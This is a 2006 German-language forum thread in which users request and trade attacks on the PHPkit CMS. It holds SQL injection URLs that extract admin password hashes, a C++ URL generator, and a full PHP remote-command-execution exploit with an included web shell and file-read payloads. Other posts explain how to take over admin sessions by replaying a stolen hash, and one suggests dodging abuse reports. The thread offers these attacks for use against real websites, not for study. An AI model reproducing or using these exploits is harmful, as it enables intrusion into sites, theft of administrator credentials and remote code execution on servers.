PHPkit SQL Injection

Dieses Thema im Forum "Sicherheit & Datenschutz" wurde erstellt von fi/\00r, 18. April 2006 .

Schlagworte:
Status des Themas:
Es sind keine weiteren Antworten möglich.
  1. 18. April 2006
    Hi,

    ich suche eine PHPkit SQL Injection? Weiß da jemand was??
     
  2. 18. April 2006
    Ja es gibt eine SQL injection für PHP Kit 1.6.1. Habe sie dir hier mal hingeschrieben:

    Code:
     #include <iostream>
    
    using namespace std;
    
    int main()
    {
    char site[20];
    char path[20];
    char id[20];
    cout<<"PHPKIT 1.6.1 <= Exploit\n\n";
    cout<<"URL of the Page, e.g. www.yourpage.com: ";
    cin >> site;
    cout<<"\nPath to PHPKit, e.g. /phpkit/: ";
    cin >> path;
    cout<<"\nUserID to steal Hash, e.g. 1: ";
    cin >> id;
    cout<<"\n\nLink to the Hashpage: ";
    cout<<site;
    cout<<path;
    cout<<"include.php?path=login/userinfo.php&id='%20UNION%20SELECT%201,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20phpkit_user%20where%20%20user_id=";
    cout<<id;
    cout<<"%20%20and%20'1'='1\n"<<endl;
    return 0;
    }
     

    oder hier kommt direkt hinter die Seite is die gleiche Injection:

    Code:
    include.php?path=login/userinfo.php&id='%20UNION%20SELECT%201,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20phpkit_user%20where%20%20user_id=";
     
  3. 18. April 2006
    Fehlt noch was..
    Code:
    include.php?path=login/userinfo.php&id='%20UNION%20SELECT%201,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,user_pw,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1%20FROM%20phpkit_user%20where%20%20user_id=1%20%20and%20'1'='1
    
     
  4. 18. April 2006
    Mich würde mal interessieren wie ich das anwende etc, im Endeffekt viel gehört soll mit dem Zeug ja extreme Sachen anstellen können , aber da ich mich damit nicht auskenne ist mal interessant zu hören wie man injecten kann, nur grob
     
  5. 18. April 2006
    Also ich sags dir nur "grob" du nimmst diese SQL Injection und setzt die zB. hinter den link(geht aber nur bei php kit 1.6.1):

    www.irgendeinewebsite.de/include.ph...FROM phpkit_user where user_id=1 and '1'='1

    dadurch bekommst du den md5 Hash vom Admin. Den du dann cracken kannst und somit hasst du dann das Pw vom seiten administrator.

    MFG bL!zZaRd
     
  6. 18. April 2006
    Ufff das ist ja extrem *g* aber Thx für die Antwort
     
  7. 18. April 2006
    und noch eine...

    Code:
    <?php
    # ---PHPKIT_161r2_incl_xpl.php 4.27 16/02/2006 #
    # #
    # PHPKIT <= 1.6.1R2 remote commands execution exploit #
    # coded by rgod #
    # site: http://retrogod.altervista.org #
    # #
    # -> works with allow_url_fopen = On #
    # usage: launch from Apache, fill in requested fields, then go! #
    # #
    # Sun-Tzu: "All men can see the tactics whereby I conquer, but what none can #
    # see is the strategy out of which victory is evolved." #
    
    # also if magic_quotes_gpc = Off, you can view any file on target system by null
    # char injection:
    # http://[target]/[path]/include.php?path=/etc/passwd%00.php
    # http://[target]/[path]/include.php?path=c:\boot.ini%00.php 
    # 4 lines above added /str0ke
    
    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",0);
    ob_implicit_flush (1);
    
    echo'<html><head><title>* PHPKIT <= 1.6.1R2 remote commands execution exploit **
    </title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
    #ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
    {background-color: #FFFFFF !important} input {background-color: #303030
    !important} option { background-color: #303030 !important} textarea
    {background-color: #303030 !important} input {color: #1CB081 !important} option
    {color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
    {background-color: #303030 !important} select {font-weight: normal; color:
    #1CB081; background-color: #303030;} body {font-size: 8pt !important;
    background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
    0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
    !important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
    !important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
    !important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
    normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
    { text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
    color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
    font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
    font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
    * PHPKIT <= 1.6.1R2 remote commands execution exploit ** </p><p class="Stile6">a
    script by rgod at <a href="http://retrogod.altervista.org"target="_blank">
    http://retrogod.altervista.org</a> </p> <table width="84%"><tr><td width="43%">
    <form name="form1" method="post" action="'.$_SERVER[PHP_SELF].'"> <p><input
    type="text" name="host"> <span class="Stile5">* target (ex:www.sitename.com)
    </span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
    /phpkit/ or just / ) </span></p><p><input type="text" name="cmd"> <span
    class="Stile5"> * specify a command </span> </p> <p> <input type="text"
    name="smb_location"><span class="Stile5">* specify a Samba resource(ex: \\\\192.
    168.1.2\\c\\path_to\\shell.php </span></p> <p> <input type="text" name="port">
    <span class="Stile5">specify a port other than 80 (default value)</span> </p>
    <p><input type="text" name="proxy"><span class="Stile5"> send exploit through
    an HTTP proxy (ip:port) </span> </p> <p> <input type="submit" name="Submit"
    value="go!"></p></form></td></tr></table></body></html>';
    
    function show($headeri)
    {
     $ii=0;$ji=0;$ki=0;$ci=0;
     echo '<table border="0"><tr>';
     while ($ii <= strlen($headeri)-1){
     $datai=dechex(ord($headeri[$ii]));
     if ($ji==16) {
     $ji=0;
     $ci++;
     echo "<td>&nbsp;&nbsp;</td>";
     for ($li=0; $li<=15; $li++) {
     echo "<td>".htmlentities($headeri[$li+$ki])."</td>";
     }
     $ki=$ki+16;
     echo "</tr><tr>";
     }
     if (strlen($datai)==1) {
     echo "<td>0".htmlentities($datai)."</td>";
     }
     else {
     echo "<td>".htmlentities($datai)."</td> ";
     }
     $ii++;$ji++;
     }
     for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
     echo "<td>&nbsp&nbsp</td>";
     }
     for ($li=$ci*16; $li<=strlen($headeri); $li++) {
     echo "<td>".htmlentities($headeri[$li])."</td>";
     }
     echo "</tr></table>";
    }
    
    $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
    
    function sendpacket() //2x speed
    {
     global $proxy, $host, $port, $packet, $html, $proxy_regex;
     $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
     if ($socket < 0) {
     echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
     }
     else {
     $c = preg_match($proxy_regex,$proxy);
     if (!$c) {echo 'Not a valid prozy...';
     die;
     }
     echo "OK.<br>";
     echo "Attempting to connect to ".$host." on port ".$port."...<br>";
     if ($proxy=='') {
     $result = socket_connect($socket, $host, $port);
     }
     else {
     $parts =explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $result = socket_connect($socket, $parts[0],$parts[1]);
     }
     if ($result < 0) {
     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
     }
     else {
     echo "OK.<br><br>";
     $html= '';
     socket_write($socket, $packet, strlen($packet));
     echo "Reading response:<br>";
     while ($out= socket_read($socket, 2048)) {$html.=$out;}
     echo nl2br(htmlentities($html));
     echo "Closing socket...";
     socket_close($socket);
     }
     }
    }
    
    function sendpacketii($packet)
    {
     global $proxy, $host, $port, $html, $proxy_regex;
     if ($proxy=='') {
     $ock=fsockopen(gethostbyname($host),$port);
     if (!$ock) {
     echo 'No response from '.htmlentities($host); die;
     }
     }
     else {
     $c = preg_match($proxy_regex,$proxy);
     if (!$c) {
     echo 'Not a valid prozy...';die;
     }
     $parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $ock=fsockopen($parts[0],$parts[1]);
     if (!$ock) {
     echo 'No response from proxy...';die;
     }
     }
     fputs($ock,$packet);
     if ($proxy=='') {
     $html='';
     while (!feof($ock)) {
     $html.=fgets($ock);
     }
     }
     else {
     $html='';
     while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     $html.=fread($ock,1);
     }
     }
     fclose($ock);echo nl2br(htmlentities($html));
    }
    
    $host=$_POST[host];$path=$_POST[path];
    $port=$_POST[port];$smb_location=urlencode(trim($_POST[smb_location]));
    $cmd=urlencode($_POST[cmd]);$proxy=$_POST[proxy];
    echo "<span class=\"Stile5\">";
    
    if (($host<>'') and ($path<>'') and ($cmd<>'') and ($smb_location<>''))
    {
     $port=intval(trim($port));
     if ($port=='') {$port=80;}
     if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
     if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
     $host=str_replace("\r","",$host);$host=str_replace("\n","",$host);
     $path=str_replace("\r","",$path);$path=str_replace("\n","",$path);
    
     # STEP X -> One and unique, arbitrary remote inclusion ...
     $packet="GET ".$p."include.php?CMD=$cmd&path=".$smb_location."/ HTTP/1.1\r\n";
     $packet.="Host: ".$host."\r\n";
     $packet.="User-Agent: GoogleBot 1.1\r\n";
     $packet.="Connection: Close\r\n\r\n";
     show($packet);
     sendpacketii($packet);
     if (eregi("Hi Master!",$html)) {echo "Exploit succeeded...";}
     else {echo "Exploit failed...";}
    }
    else
    {echo "Note: on \\\\someip\\path_to\\shell.php you need this code:<br><br>";
     echo nl2br(htmlentities("
     <?php
     ob_clean();echo\"Hi Master!\";ini_set(\"max_execution_time\",0);passthru(\$_GET[CMD]);die;
     ?>
     "))."<br>";
     echo "Fill * required fields, optionally specify a proxy...";}
    echo "</span>";
    ?>
    
     
  8. 18. April 2006
    für 1.6.03:

    Code:
    include.php?path=guestbook/print.php&id=1'%20UNION%20SELECT%20user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw,user_pw%20FROM%20phpkit_user%20where%20%20user_id=1%20and%20'1'='1
     
  9. 1. Mai 2006
    Also... wenn ihr den md5 Hash habt braucht ihr (bei der 1.6.03 Version) das Firefox Addon

    livehttpheaders (http://livehttpheaders.mozdev.org/)

    und dann braucht mann denn scheiss nich mal cracken ^^ der hasch reicht .. man verändert die anfrage an die seite und schwupp is mann as admin eingeloggt ^^
     
  10. 8. Mai 2006
    @amx darf man denn wissen wie das genau geht? weil ich selbst eine grosse phpkit community betreibe!
     
  11. 8. Mai 2006
    lol, hab jez mal das SQL-Injection von Xodox bei nem PHP-Kit 1.6.1 gemacht und da kamm sowas wie:

    "Zugriff verwehrt! Daten geloggt, evtl Anzeige"
     
  12. 8. Mai 2006
    Dann wars gefixxed. Aber lohnt sich wohl nicht,dich anzuzeigen,das schreiben die nur so, könntest höchstens ne Abuse beim Provider bekommen,einfach sagen dass du BotNetz drauf hast und gut is
     
  13. 10. Juli 2006
    kann mir mal jemand vlt sagen wie das genau geht???
     
  14. 10. Juli 2006
    exploit in der browserzeile eingeben -> wenn nicht gefixxen: hashwert vom admin -> den anstatt den aktuellen einsetzen (firefox plugin livehttpheaders) -> refresh -> du bist als admin eingeloggt -> du kannst in das Adminmenü und alles ändern

    geht nur in seltenen fällen, da es meist gefixxt is!
     
  15. 10. Juli 2006
    Das Thema ist ja schon uralt, außerdem steht schon am Anfang wie es geht.


    ~closed~
     
  16. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.